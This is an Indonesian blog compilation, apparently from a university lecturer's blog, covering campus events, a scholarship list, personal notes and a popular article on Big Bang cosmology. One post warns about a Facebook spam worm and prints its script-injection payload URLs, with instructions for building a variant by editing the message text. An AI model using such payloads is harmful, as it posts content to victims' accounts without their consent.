“Jika tinta tak memancar di luar angkasa, kenapa tak digunakan pinsil saja ???”.

Ya, yang sering kita lupa, bahwa duplikasipun adalah sebuah langkah awal yang paling cerdas. Dan yang dibutuhkan hanya ini : Sebuah kejeniusan yang idiot !!!

India telah mempersonifikasikan dirinya ke dalam sosok Rancho, yang menertawakan sekian banyak kerumitan, textbooks dan rumus-rumus tanpa hati, lalu menawarkan kesederhanaan.

Menggelisahkan… sementara kita sebagai bangsa justru telah kehilangan daya abstraksi, daya ekstraksi, kemampuan meracik-ramu, atau kecakapan susun-tata, yang merupakan modal dasar untuk menjadi peneliti dan perekayasa. Kita kehilangan imajinasi sejak dini, ketika dongeng telah digusur oleh baca-tulis-hitung di usia TK, padahal itu syarat abstraksi dan formulasi. Kita kehilangan kemampuan mapping, ketika kertas gambar putih telah digantikan begitu cepatnya dengan kertas bergaris, padahal itu modal konstruksi. Kita kehilangan kreativitas, persis saat hak belia kita untuk melakukan deformasi dan “merusak”, digantikan secara kejam oleh format-format kurikulum pembelajaran pra-sekolah yang “santun dan membangun”. Padahal, untuk membangun bumi ini Tuhan sengaja mengutus makhluk perusak : Kita, manusia !!!

Jakarta, Dinihari 10 Maret 2011

Adriano Rusfi

Peneliti SDM

Tetangga Sebelah Kamar

Tetangga Sebelah Kamar Prof Bangsur.-

(Prof Dr Ir Bambang Suryawan MT)

Karena sudah diberi peringatan untuk kesekian kalinya oleh Ardi, bersegeralah saya untuk menulis seada-adanya agar buku kenangan yang ditujukan untuk mengenang persahabatan yang tiada akhir ini berisikan juga coret-coretan saya. Bukankah yang penting partisipasi dan kebersamaan (demikianlah kata orang…).

Prof BS yg rambutnya sedikit...

 

 

 

 

 

 

 

 

Walau saya punya dua tetangga, tetapi yang satu sunyi banget alias gak pernah ngantor di ruangannya, sedangkan yang lain inilah mas Bangsur (mohon maaf gelarnya tidak saya tulis lagi karena panjang banget dan kita2 toh sudah tahu), malah kebalikannya, orang yang paling sering saya gangguin dengan kegiatan saya yang bermacam-macam, terutama beberapa tahun terakhir ini, yang orang bilang ‘sok jadi pengusaha’. Karena rapat yang sering saya adakan tanpa rencana, bikin gaduh ruangan, apalagi yang diomongin kadang tentang ‘duit gede’ padahal untungnya tak kunjung datang, malah kebanyakan babak belur. Berkaitan dengan itu, sekarang ini, daripada –enggak- sama sekali, sekaligus baru lewat lebaran beberapa hari:

“Saya mohon maaf sebesar-besarnya atas gangguan saya pada mas Bambang… bahkan sekalian maaf lahir batin…”.

Yang jelas rapat-rapat gelap saya itu amat sangat sering mengganggu TIDUR SIANG mas Bambang…

Hal lain yang mempererat tali silaturahmi saya dengan mas Bambang ini adalah… SAMA-SAMA INGIN BERDIET.

Dan kelihatannya kami berdua sama-sama SUKSES dan berhasil. Karena walaupun kami berdua sama-sama diet tapi tujuan saya adalah memperkecil lingkar perut, sedangkan tujuan mas Bambang adalah memperbesar lingkar pinggang. Untuk itu kepada beliau kita ucapkan selamat dan sukses, semoga selalu sehat walafiat.

Ah… tak terasa lho hidup ini kata orang ‘tahu-tahu’. Tahu-tahu rambut sudah menipis, tahu-tahu rambut sudah memutih, tahu-tahu sudah selesai masa bakti. Tak terasa, sudah lewat puluhan tahun jadi pegawai negeri. Alhamdulillah semua terlampaui dengan selamat…  Dan… kita akan berhenti JADI TETANGGA… Huk huk huk… Sa’diah.

-Yang pasti: Kita tidak akan pernah berhenti menjadi SAHABAT… seperti kepompong yang akan menjadi kupu-kupu-.

(Ral 15Sep10).-

Peer Review

Proses untuk menjadi Guru Besar tidaklah mudah. Setelah melalui jabatan Lektor Kepala, dosen harus mengumpulkan sejumlah angka kredit (kum) tertentu baik untuk bidang penelitian maupun pengajaran. Di DTM Dep Teknik Mesin proses ini sudah berjalan relatif lancar dimana angka kredit yg diajukan diseleksi dulu oleh Peer secara internal. Kemudian akan dikirim juga ke external reviewer dari Universitas lain.
Kali ini Peer untuk kandidat GB

M Idrus Alhamid

sedang bekerja. Lihat mereka dengan serius membahas paper2 yg diajukan. Diantaranya adalah Prof Nandy Putra,Prof Yulianto, Dr Gandjar dan prof Raldi.

Bahaya tinyurl di FB

Oleh: Mamakey (programmer Linux)
Barusan saya melihat status orang yang hampir sama. Awalnya saya kira ini memanfaatkan aplikasi facebook. Setelah dikopi paste dengan wget diterminal. Beginilah hasilnya :
http://tinyurl.com/sampahh berubah menjadi :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’%3Cscript%3Ewindow.onload=function(){document.forms[0].message.value=’jangan%20salahin%20w%20kalo%20lo%20bakal%20ngakak%20ngeliat%20ni%20orang%20:D%20http://tinyurl.com/sampahh’;document.forms[0].submit();}%3C/script%3E

Huh …tinyurl-nya berfungsi untuk menyembunyikan javascriptnya
kalau kita decode jadilah seperti ini

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload=function(){document.forms[0].message.value=’jangan salahin w kalo lo bakal ngakak ngeliat ni orang http://tinyurl.com/sampahh';document.forms[0].submit();}

Dasar orang isenk Bukan virus, tapi ya mengubah satus kita sesuai denan message value di atas.

Update : ini juga

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload=function(){document.forms[0].message.value=’ini fotoku wkt lg ML http://tinyurl.com/rahasiapribadiku';document.forms[0].submit();}

untuk membuat ini cukup mudah
cukup kopi link diatas kemudian ganti bagian message.value.
contoh :
ini testing dari mamakey http://tinyurl.com/mamakey
maka tertulis :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload%3Dfunction(){document.forms[0].message.value%3D’ini testing dari mamakey %3AD http%3A%2F%2Ftinyurl.com%2Fmamakey’%3Bdocument.forms[0].submit()%3B}’
Silahkan saja klik link diatas dan hapus pada wall anda

update lagi :

sekarang mereka tidak memakai tinyURL tapi memakai IFRAME untuk melakukan scripting.. huh jahat. Ketemu scriptnya disini :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=%27%3Cscript%3Ewindow.onload=function%28%29%7Bdocument.forms%5B0%5D.message.value=%27Masihadaorangygmauterkenaldankayarayadenganmemujasetan,termasuksalahsatugrupbandterkenaldiIndonesiackckckck….bacaselengkapnyadihttp://tinyurl.com/4fqudco%21%21%21%27;document.forms%5B0%5D.submit%28%29;%7D%3C/script%3E
terima kasih Fuad for pointing me

Beasiswa Amerika Eropa

Scholarships – United States

Mathematics, Science and Engineering Transfer Scholarships (M-SETS)
Cañada College, USA
Scholarship / Financial aid: 140 scholarship awards offered
Date: up to three years
Deadline: April 15, 2011
Open to: citizens or nationals of the United States
Website:

http://www.eastchance.com/news.asp?q=1781,us,sch&issue=20110327&utm_source=eastc\

hanceMailingGroups&utm_medium=email&utm_campaign=20110327

Scholarships – European Union

The Einstein Fellowship
Caputh, Brandenburg, Germany
Scholarship / Financial aid: accommodation, a stipend of EUR 10,000 and
reimbursement of travel expenses offered
Date: five to six months
Deadline: May 20, 2011
Open to: applicants under 35 which hold a university degree in the humanities,
in the social or natural sciences
Website:

http://www.eastchance.com/news.asp?q=748,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Project Research Interns
National University of Ireland, Galway
Scholarship / Financial aid: undefined
Date: 3 months
Deadline: April 30, 2011
Open to: see Essential Skills please
Website:

http://www.eastchance.com/news.asp?q=749,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Master in Advanced European and International Studies – M.A.E.I.S.
France / Turkey
Scholarship / Financial aid: a limited number of fellowships can be awarded
Date: 2011 / 2012
Deadline: 30 June 2011
Open to: students who have completed their undergraduate studies
Website:

http://www.eastchance.com/news.asp?q=750,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Visiting Fellowships for Social Scientists
University of Mannheim, Germany
Scholarship / Financial aid: two fellowships offered
Date: up to one year
Deadline: April 30, 2011
Open to: social scientists (sociologists or political scientists) with a Ph.D.
(or equivalent)
Website:

http://www.eastchance.com/news.asp?q=751,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Scholarships – CEE States

2011 Dr. Erhard Busek – SEEMO Award for Better Understanding in South, Eastern
and Central Europe
South-Eastern Europe
Scholarship / Financial aid: award of 3,000.00 EUR
Date: N/A
Deadline: 25 May 2011
Open to: journalists, editors, media executives, media experts, writers in South
Eastern Europ
Website:

http://www.eastchance.com/news.asp?q=21,cee,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Summer courses – European Union

The 6th Summer School in Anthropology, Ethnography and Comparative Folklore of
the Balkans
Konitsa, Greece
Scholarship / Financial aid: accommodation, meals and travel expenses are
covered
Date: 27 July – 11 August 2011
Deadline: May 15th 2011
Open to: senior year undergraduate, MA and doctoral students from any Balkan,
European or other country
Website:

http://www.eastchance.com/news.asp?q=338,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

The Reasoning Web Summer School 2011
Galway, Ireland
Scholarship / Financial aid: none
Date: August 23-27, 2011
Deadline: 30 April 2011
Open to: international applicants
Website:

http://www.eastchance.com/news.asp?q=339,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Transparency International Summer School on Integrity
Vilnius, Lithuania
Scholarship / Financial aid: a limited number of competitive scholarships are
available
Date: 11 – 15 July 2011
Deadline: 15 May 2011
Open to: international students
Website:

http://www.eastchance.com/news.asp?q=340,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Black Sea Summer University
Constanta, Romania
Scholarship / Financial aid: undefined
Date: July 22th to 28th, 2011
Deadline: N/A
Open to: graduate students, students in their second and third year of
university studies and young professionals
Website:

http://www.eastchance.com/news.asp?q=341,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Gowes Santai Alumni

Sepeda santai jalur ASYIK yang pendek atau hanya satu jam selagi melalui danau sempat foto2 dan ada juga yg ngambil video. Jalur B gowes melalui pertama stadion UI dari belakang, lalu menyusur politeknik, FMIPA menuju Rotunda gedung Rektorat atau PAU untuk berfoto dengan background gedung rektorat taklupa foto gaya umroh di depan pohon Baobab. Lalu kearah luar Fak Keperawatan masuk ke pinggir danau Kenanga rombongan santai berhenti untuk foto dengan latar perpustakaan UI. Naik sepeda dilanjutkan melalaui ringroad ke depan psikologi depan Fisip masuk jalan PSJ nerabas kedalam menuju jembatan Teksas. Rombongan berhenti lagi utk foto2 di jembatan dan kembali ke FTUI melalui belakang FEUI.


Aktivitas alumni ftui ini dihadiri k.l. 400 orang dengan keluarga, anak dan cucu. Acara awal adalah senam yang diikuti oleh peserta dengan penuh semangat.
Banyak juga peminatnya ceramah Reiki oleh master reiki Indonesia Wahidin Wahab.

Teknik Mesin MCU

Secara rutin setahun sekali DTM Dep Teknik MEsin menyelenggarakan Medical Check-Up untuk setiap dosen dan karyawannya. Bekerjasama dengn Lab Prodia, kali ini pemeriksaan KEsehatan diadakan pada tgl 17 dan 18 Maret 2011.

Image video memperlihatkan para dosen dan karyawan sedang diperiksa darah, urine, mata, fisik, dll.

http://www.youtube.com/watch?v=ys6FoUP5pSg

Semoga sehat semua !!

http://koestoer.wordpress.com/

Rancangan Acara 27Maret2011

RANCANGAN ACARA NGGOWES, JALAN SANTAI, SENAM BUGAR, & SEMINAR

FT Kampus UI – Minggu, 27 Maret 2011 pukul 06.00 – 12.00

P U K U L URAIAN AKTIFITAS KETERANGAN
05.30 Segenap Anggota Panitia sudah kumpul di Dekanat dan siap menempati Pos Penugasan masing-masing tris bM
  • PARKIR di sepanjang Jl. Rosseno depan Gd. Engineering Center
  • SAWERAN & AMBIL KAOS & BEKAL di Area Parkir Gedung GK
  • AREA PERSIAPAN & START/FINISH di halaman Gedung DEKANAT
  • POOL & TEST SEPEDA di Area Parkir Elektro, masuk dari Pos Satpam
SATPAM 

Ani, Ida, & Tim

tris bM

Sahala & Teknisi UI

06.00 – 06.45
  • Setor Saweran, Ambil kaos, Pinjam & Test Sepeda
  • Persiapan di tempat Start
Pokja
06.45 – 07.15 SENAM PEMANASAN Yaya & Tim
07.15 – 09.15 NGGOWES A (Lintasan UNIK): per kelompok @ 25 Ardhin, Sahala, & Gowess Binsek’s 500
  • Persiapan di Area Parkir Depan Tengah Dekanat
    • START, depan Dekanat – Engineering Center – Jemb. TekSas (foto bareng) – Pusat Studi Jepang – Perpus. UI – Science Center – Menyusur Danau (foto bareng) – Tracking jalur sepeda menuju Asrama UI – Lintas Hutan Lindung – masuk jalan lingkar kampus menuju stadion – per3an TI belok kiri mengelilingi stadion – depan Poltek – nanjak belok kanan melewati Pool Bikun – berhenti di seberang Auditorium (foto bareng) – ke Rektorat lihat sejarah UI & pohon baobab – Tracking jalur sepeda – melintas masjid belok kiri – Perpus – Jalan FISIP-FIB – FE – FINISH di Dekanat.
07.45 – 08.45 JALAN SANTAI dengan lintasan: Anton & tris bM.
  • Persiapan di Area Parkir Dekanat depan kiri.
    • START, depan Dekanat – Engineering Center – Jemb. TekSas (foto bareng) – FIB – Perpus. UI – Science Centre –  nyusur danau (foto bareng) – lihat pohon Baobab – depan Rektorat lihat sejarah UI – ke Auditorium (foto bareng) – lewat parkiran Rektorat – Perpus UI – FISIP – FE – FINISH Dekanat.
08.00 – 09.00 NGGOWES B (Lintasan ASYIK): Raldi A.K & Gowess Binsek’s 500
  • Persiapan di Area Parkir Elektro
    • START, depan Dekanat – belok kiri menuju stadion – per3an TI belok kiri mengelilingi stadion – poltek – FMIPA – FKM – BNI – Auditorium (foto bareng) – ke depan Rektoral lihat sejarah & pohon Baobab – tracking mengelilingi balairung – menyusur danau (foto bareng) – Science park – Fasilkom –  Pusat Studi Jepang FIB – Jemb Teksas (foto bareng) – Engineering Center  – FINISH depan Dekanat.
07.00 – 10.00 DONOR DARAH di K-101
08.00 – 12.00 Dialog Interaktif PARENTING & KID’S Outbond, di Lobi K & K-301 Ikatan Alumni Elektro & IME 

Dian – 08161338093, Desi – 081511110865

  • Tajuk: “Menjadi Orang Tua Kreatif dalam Sempitnya Waktu Berinteraksi dengan Anak-Anak“, bersama Melly Kiong
  • Kid’s outbound: Lomba Menggambar Anak2, Story Telling, T-shirt painting, Tur keliling laboratorium.
08.30 – 10.00 SENAM KEBUGARAN & AEROBIK di Halaman Dekanat Yaya
09.00 – 10.00 SENAM RIKI bersama Wahidin Wahab (L’72) – K-108 Wahidin Wahab
10.00 – 12.00 RAMAH TAMAH – DOOR PRIZE – HIBURAN 

Sambil bersenandung bersama Sin’10 Band & The Prof’s FTUI

Albert Koto 

Ananta

12.00 PENUTUP – Sholat ber jama’ah di Mustek Ardhin Ichwan

Kronologi Alam Semesta

-0-

Kronologi Alam Semesta Dari Kacamata Sains

Oleh: Terry Mart

Belum dipublikasi di media cetak.

-000-

Tadi saya mereview penelitiannya Terry Mart staf pengajar FMIPA UI tentang – Eksplorasi Interaksi Elektromagnetik, Nuklir Lemah,dan Nuklir Kuat pada Partikel, Nukleus, dan Materi – Tentu saja dari sisi sains saya kurang faham sehingga saya hanya melihat posisi administratif yang diklaim oleh peneliti, terpenuhi atau tidak. Sedangkan reviewer lain pak Handoko dari Fisika LIPI inilah yang mengkritisi dari segi sains karena beliau memang peer-nya.

T. Mart sudah sangat dikenal di UI karena demikian banyak paper internasionalnya sehingga boleh dibilang hasil kerja dibidang fisika partikel dari Terry Mart ini cukup bisa meningkatkan peringkat UI sebagai salah satu Universitas terkemuka di dunia. Pulang dari DRPM saya iseng search di Google tentang peneliti ini, dan ternyata ada papernya yang mudah difahami oleh orang awam dan buat saya malah sangat menarik. Mari kita simak bersama. Sekaligus saya minta ijin pada penulis untuk mempublikasikannya di blog saya.-

-0-

Penemuan radiasi latar belakang kosmik dalam bentuk gelombang mikro (Cosmic Microwave Background atau CMB) merupakan salah satu penemuan terpenting abad ini. Betapa tidak, penemuan ini telah mengubah pandangan modern manusia tentang alam semesta yang dihuninya. Meski fenomena pengembangan alam semesta telah lebih dulu diungkap oleh Edwin Hubble pada tahun 1929, penemuan CMB memperkuat dukungan pada teori Big Bang, suatu teori penciptaan alam semesta melalui ledakan maha dahsyat dari titik berukuran nol dengan kerapatan serta suhu tak berhingga tingginya. Ledakan ini telah menciptakan suatu kesetimbangan termal benda hitam (black body) di masa lampau yang fosilnya ternyata masih dapat teramati saat ini.

Benda hitam merupakan suatu idealisasi sistem tertutup yang memiliki kesetimbangan termal dengan distribusi intensitas radiasi berbentuk unik dan universal serta hanya bergantung pada temperatur sistem. Benda hitam sempurna tidak pernah eksis di permukaan bumi, namun karena diperkirakan hanya ada satu alam semesta (paling tidak yang berhasil diamati), maka alam semesta yang kita huni ini logis dianggap sebagai benda hitam sempurna. Adalah Arno Penzias dan Robert Wilson yang telah berjasa menemukan CMB pertamakali pada tahun 1964 dalam bentuk derau (noise) radio yang pada saat itu sangat membingungkan mereka. Kedua ilmuwan tersebut bekerja di laboratorium Bell di New Jersey dengan sebuah teleskop radio ultrasensitif (dipandang saat itu) yang dirancang untuk menerima sinyal dari satelit. Teleskop tersebut menangkap derau yang berasal jauh dari luar angkasa dan, yang paling membingungkan kedua ilmuwan, sinyal tersebut tidak bergantung pada arah fokus teleskop serta tidak bergantung pada waktu pengamatan.

Pengukuran yang mereka lakukan mengantar pada kesimpulan bahwa derau tersebut adalah radiasi gelombang mikro dengan panjang gelombang 7 centimeter yang sebenarnya (saat ini) dapat ditangkap oleh televisi biasa jika ditala pada kanal kosong. Untuk penemuan yang sangat menghebohkan ini Penzias dan Wilson dianugrahi hadiah Nobel pada tahun 1978. Dari sifat isotropiknya wajar jika diyakini bahwa radiasi CMB berasal dari tempat yang sangat jauh di jagad raya. Namun bagaimana para ilmuwan dapat yakin bahwa radiasi ini merupakan fosil dari ledakan maha dahsyat di masa lampau saat alam semesta tercipta? Lebih dari duapuluh tahun sebelum penemuan CMB, George Gamow, seorang profesor fisika pada George Washington University di Washington D.C., bersama dengan mahasiswanya mengusulkan teori penciptaan alam semesta melalui ledakan yang sangat dahsyat yang mereka sebut sebagai teori Big Bang. Dua orang mahasiswanya, Ralph Alpher dan Robert Herman, pada tahun 1949 kemudian memperkirakan bahwa temperatur rata-rata alam semesta saat ini sebagai konsekuensi dari ledakan besar di masa lalu serta berkembangnya alam semesta pada kisaran 5 derajat Kelvin (minus 268 derajat Celsius).

Sayangnya mereka tidak sempat mengusulkan eksperimen dengan menggunakan teleskop radio, meski pada tahun 1963 dua ilmuwan Rusia sempat menanyakan penemuan Ed Ohm yang melaporkan pengukuran derau statik pada tingkat 3 Kelvin. Ohm sendiri tidak mampu memisahkan derau tadi dengan derau yang berasal dari peralatannya. Lalu bagaimana hubungan antara derau statik gelombang mikro dengan temperatur alam semesta? Inilah kisah sukses fisika selain mekanika kuantum dan mekanika relativistik. Di dalam termodinamika, salah satu cabang fisika yang banyak membahas hubungan antara temperatur dan sifat suatu zat, dikenal hukum Wien yang menyatakan bahwa untuk distribusi radiasi benda hitam perkalian antara panjang gelombang radiasi berintensitas maksimum dengan temperaturnya ekivalen dengan bilangan 0,3. Pengukuran yang dilakukan oleh Penzias dan Wilson tidak persis tepat pada puncak distribusi, namun karena kegigihan dan keyakinan para ilmuwan, pengukuran-pengukuran yang dilakukan selama lebih dari dua dekade, hingga tahun 1991 dengan menggunakan satelit COBE, berhasil mengkonfirmasi distribusi radiasi benda hitam dari CMB dengan akurasi yang sangat mengesankan (lihat gambar 2). Dari distribusi tersebut diperoleh kesimpulan bahwa temperatur alam semesta saat ini, lebih dari 10 milyar tahun setelah Big Bang, adalah 2,726 Kelvin.

Gambar 1. Galaksi Andromeda yang merupakan tetangga terdekat galaksi kita, meskipun demikian jarak galaksi ini lebih dari dua juta tahun cahaya dari bumi. Jadi, gambar ini memperlihatkan keadaan galaksi Andromeda lebih dari dua juta tahun yang lalu, jauh sebelum peradaban manusia (yang dikenal) lahir. Galaksi ini pertamakali diamati oleh astronom muslim Persia Abdul Rahman Al-Sufi pada tahun 964 dan dipublikasikan dalam bukunya yang berjudul Kitab al-Kawatib al-Thabit al-Musawwar. Di kalangan kaum orientalis buku ini kemudian lebih dikenal dengan nama The Book of Fixed Stars. Diperkirakan, ada sekitar 10 milyar galaksi yang dapat diamati manusia dari permukaan bumi. Gambar diambil dari Astronomy Picture of the Day, http://antwrp.gsfc.nasa.gov/apod.

Gambar 2. Distribusi intensitas radiasi benda hitam dari radiasi CMB (Cosmic Microwave Background) yang berhasil dikonfirmasi secara akurat oleh pengamatan (eksperimen). Garis merah merupakan perhitungan teori untuk temperatur alam semesta rata-rata ekivalen dengan 2,726 Kelvin.

Data-data eksperimen diambil dari berbagai sumber. Gambar diambil dari Particle Data Book 2000. Kronologi Alam Semesta Distribusi radiasi CMB meyakinkan ilmuwan bahwa jauh di masa lampau telah terjadi kesetimbangan termal di alam semesta. Karena alam semesta terus berkembang hingga kini, masuk akal jika temperatur saat itu diperkirakan sangat tinggi. Para ilmuwan menggunakan hukum-hukum fisika untuk memperkirakan sifat-sifat alam semesta di awal terciptanya, bahkan ekstrapolasi dapat dilakukan hingga mendekati Big Bang. Meski demikian, karena temperatur saat ledakan (pada usia 0 detik) sangat tinggi, menuju nilai tak berhingga, hukum-hukum fisika tidak lagi valid di sini. Dalam matematika keadaan seperti ini dinamakan keadaan singular. Karena matematika tidak dapat sepenuhnya berurusan dengan bilangan tak berhingga, hukum-hukum fisika yang diformulasikan dalam matematika tidak lagi memiliki arti pada kondisi singularitas. Pada awal terciptanya, alam semesta memiliki ukuran tak berhingga kecil (menuju nol) namun kerapatan materinya sangat tinggi. Baru setelah 10-43 detik (satu per sepuluh juta triliun triliun triliun detik) dari ledakan situasi jagad raya dapat diakses dengan menggunakan teori-teori fisika mutakhir. Diperkirakan pada saat itu temperatur jagad raya mencapai 1032 K atau sepuluh triliun triliun kali lebih tinggi dari temperatur inti matahari. Periode yang dimulai pada usia 0 hingga 10-43 detik dikenal sebagai periode (masa) Planck yang hingga saat ini masih merupakan misteri bagi sains. Para ilmuwan mengimpikan sebuah teori yang dapat menggabungkan teori kuantum dengan teori gravitasi yang diharapkan dapat menguak apa yang terjadi pada masa Planck. Teori yang dinamakan teori gravitasi kuantum ini tentulah sangat sulit mengingat bahwa domain kuantum (daerah dimana efek kuantum dominan) berukuran mikroskopik maksimal sebesar atom atau molekul, sedangkan gaya gravitasi terlihat superior pada skala planet atau galaksi.

Meski demikian, usaha ke arah sana sudah banyak dilakukan, misalnya melalui gagasan teori Superstring yang mempostulasikan ruang dengan dimensi 10 atau 26 pada masa Planck. Dimensi-dimensi tersebut berkontraksi setelah masa Planck dan menyisakan hanya 3 dimensi ruang serta satu dimensi waktu saat ini. Setelah masa Planck alam semesta memasuki masa Penggabungan Agung (Grand Unification). Pada masa ini semua gaya fundamental kecuali gaya gravitasi sama kuatnya. Saat itu alam semesta masih belum berisi apa-apa kecuali sup plasma dengan temperatur lebih dari seratus ribu triliun triliun Kelvin. Periode ini tidak berlangsung lama dan alam semesta mengalami inflasi (pengembangan secara cepat) yang diakhiri dengan pemisahan gaya lemah dan gaya elektromagnetik. Setelah kedua macam gaya tersebut terbedakan, sup plasma panas berubah menjadi sup elektron-quark beserta partikel-partikel pembawa gaya elektrolemah yaitu partikel W dan Z. Partikel-partikel tersebut eksis di alam semesta bersama anti partikel mereka yang jika bergabung akan bertransformasi menjadi radiasi dan sebaliknya radiasi yang ada dapat segera berubah menjadi partikel dan anti-partikel. Seperseratus ribu detik setelah ledakan temperatur alam semesta turun menjadi 10 triliun Kelvin atau sekitar seribu kali lebih panas dari temperatur pusat matahari. Pada saat ini sup quark berkondensasi menjadi proton dan netron yang merupakan komponen dasar dari nukleus atau inti atom. Sekitar tiga menit kemudian temperatur terus menurun menjadi satu milyar Kelvin. Energi kinetik yang dihasilkan temperatur sebesar ini sudah tidak mampu lagi menahan gaya nuklir kuat antara proton dan netron yang selanjutnya bergabung menjadi nucleus-nukleus ringan. Proses ini dinamakan sebagai proses nukleosintesis. Proton dan netron bergabung menjadi nukleus deuterium. Deuterium kemudian menangkap sebuah netron membentuk inti tritium. Selanjutnya Tritium bergabung dengan sebuah proton menjadi inti Helium. Proses ini berlanjut terus hingga mencapai inti atom Lithium, namun dengan peluang yang semakin kecil. Dengan demikian teori Big Bang meramalkan kelimpahan Hidrogen dan Helium di dalam alam ini. Konfirmasi ramalan ini diperoleh melalui spektrum bintang-bintang serta galaksi yang dapat diamati dari bumi. Setelah 3 menit pertama berlalu tidak banyak perubahan yang terjadi kecuali temperatur terus menurun dan alam semesta semakin besar hingga usia jagad raya mencapai 300.000 tahun. Di usia ini alam semesta telah mendingin menjadi 3000 Kelvin, suatu kondisi temperatur yang masih mampu melelehkan kebanyakan logam yang kita kenal.

Walaupun temperatur ini masih sangat tinggi, energi kinetik yang dimiliki oleh elektron tidak mampu lagi menahan gaya tarik menarik Coulomb antara elektron dan nukleus. Elektron kemudian bergabung dengan nukleus membentuk atom sehingga seluruh sup plasma tadi akhirnya berubah menjadi atom-atom. Mulai saat ini radiasi tidak lagi bertransformasi menjadi partikel dan anti-partikel, sehingga dikatakan bahwa alam semesta mulai terlihat transparan oleh radiasi. Radiasi foton selanjutnya dapat bergerak bebas bersama mengembangnya alam semesta. Dengan demikian, radiasi CMB yang teramati oleh para ilmuwan adalah fosil radiasi yang berasal dari 300.000 tahun setelah terjadinya Big Bang. Gambar 3. Kronologi alam semesta dalam skala yang tidak linier. Suhu rata-rata alam semesta di bagian kanan gambar diperkirakan dengan menggunakan asumsi sederhana dari persamaan Einstein yang menghasilkan persamaan berbanding terbalik terhadap akar dari usia jagad raya. Dalam beberapa jam setelah Big Bang pembentukan Helium serta elemen-elemen ringan lainnya berhenti. Alam semesta terus berkembang dan mendingin, namun dibeberapa lokasi yang memiliki kerapatan jauh lebih besar dibandingkan di tempat lain proses pengembangan tersebut agak lambat akibat gaya tarik menarik gravitasi yang relatif lebih besar.

Bahkan di tempat-tempat tertentu di alam semesta proses pengembangan berhenti sama sekali dan elemen-elemen yang ada di tempat itu mulai merapat. Karena gaya gravitasi semakin bertambah, gas-gas Hidrogen dan Helium mulai berrotasi untuk mengimbangi tarikan gravitasi. Proses ini selanjutnya melahirkan galaksi-galaksi yang berputar dan memiliki berbagai macam bentuk seperti cakram dan elips, bergantung pada kecepatan rotasi serta gaya gravitasinya. Selanjutnya gas-gas Hidrogen dan Helium dalam galaksi akan pecah menjadi awan-awan yang lebih kecil dan juga mengalami proses kontraksi karena masing-masing memiliki gaya gravitasi sendiri. Karena atom-atom di dalam awan-awan tersebut saling bertumbukan, tarikan gravitasi mengakibatkan tekanan bertambah dan temperatur terus meningkat yang pada akhirnya sanggup untuk menyulut reaksi nuklir fusi. Reaksi ini akan mengubah Hidrogen menjadi Helium dan berlangsung relatif lama karena persediaan Hidrogen yang berlimpah dan terjadi keseimbangan antara gaya gravitasi dengan gaya ledakan nuklir. Helium kemudian diubah menjadi elemen-elemen yang lebih berat melalui proses fusi hingga menjadi Karbon dan Oksigen. Tahapan selanjutnya menghasilkan bintang-bintang di dalam galaksi yang sebagian meledak sambil melemparkan bahan bakar untuk membentuk bintang-bintang generasi baru.

Matahari kita adalah salah satu contoh dari bintang jenis generasi baru ini. Sebagian kecil pecahan ledakan yang mengandung element-elemen lebih berat tidak lagi sanggup untuk menyalakan reaksi fusi nuklir karena elemen-elemennya relatif sudah stabil dan temperaturnya tidak cukup tinggi. Bagian ini akhirnya membentuk planet-planet yang mengorbit bintang seperti bumi kita yang mengorbit matahari. Pada saat bumi terbentuk, sekitar 5 milyar tahun yang lalu, temperaturnya sangat tinggi dan tidak memiliki atmosfir. Setelah agak lama barulah temperatur bumi menurun dan atmosfir mulai terbentuk karena adanya emisi gas dari batu-batuan di atas permukaan bumi. Namun, atmosfir pertama ini bukanlah atmosfir yang dapat mendukung kehidupan seperti saat ini, karena atmosfir bumi mula-mula terdiri dari gas-gas beracun seperti Hidrogen Sulfida. Untungnya beberapa makhluk primitif yang ada saat itu membutuhkan gas-gas tersebut untuk bernafas dan menghasilkan Oksigen sebagai gas buangan ke permukaan bumi, sehingga permukaan bumi akhirnya dipenuhi oleh gas Oksigen. Karena gas Oksigen sendiri merupakan racun bagi makhluk primitif ini, sebagian besar dari mereka akhirnya punah secara alami, sedangkan sebagian lagi dapat menyesuaikan diri dengan mengkonsumsi Oksigen sebagai kebutuhan hidupnya.

Masalah yang Dihadapi Teori Big Bang Teori Big Bang standar (Standard Big Bang atau SBB) berhasil membangun hubungan antara jarak bintang dengan besar pergesaran merah yang teramati, serta dapat menjelaskan berlimpahnya elemen-elemen ringan seperti Helium, Deuterium, dan Lithium. Untuk menjelaskan fenomena-fenomena tersebut SBB hanya memerlukan satu konstanta sebagai input yaitu rasio antara kerapatan baryon dengan kerapatan foton di alam semesta saat ini. Namun yang paling penting sekali adalah SBB berhasil meramalkan keberadaan distribusi radiasi benda hitam dari CMB yang berhasil dikonfirmasi dengan akurasi yang sangat tinggi. Di balik semua kesuksesan itu teori SBB ternyata memiliki cacat. Teori SBB tidak dapat menjelaskan mengapa radiasi CMB sangat isotropik. SBB juga menghadapi masalah yang dikenal sebagai problem horizon, yaitu jarak maksimal yang dapat ditempuh cahaya setelah ledakan jauh lebih kecil dibandingkan dengan jarak gelombang mikro dari foton yang teramati pada temperatur yang sama (dengan kata lain, ukuran alam semesta pada saat itu yang terlihat dari masa sekarang jauh lebih besar dari ukuran yang dapat ditempuh cahaya setelah terjadinya Big Bang). Disamping itu, bagi teori SBB fenomena alam semesta yang cenderung flat (fenomena yang memperlihatkan kecenderungan alam semesta 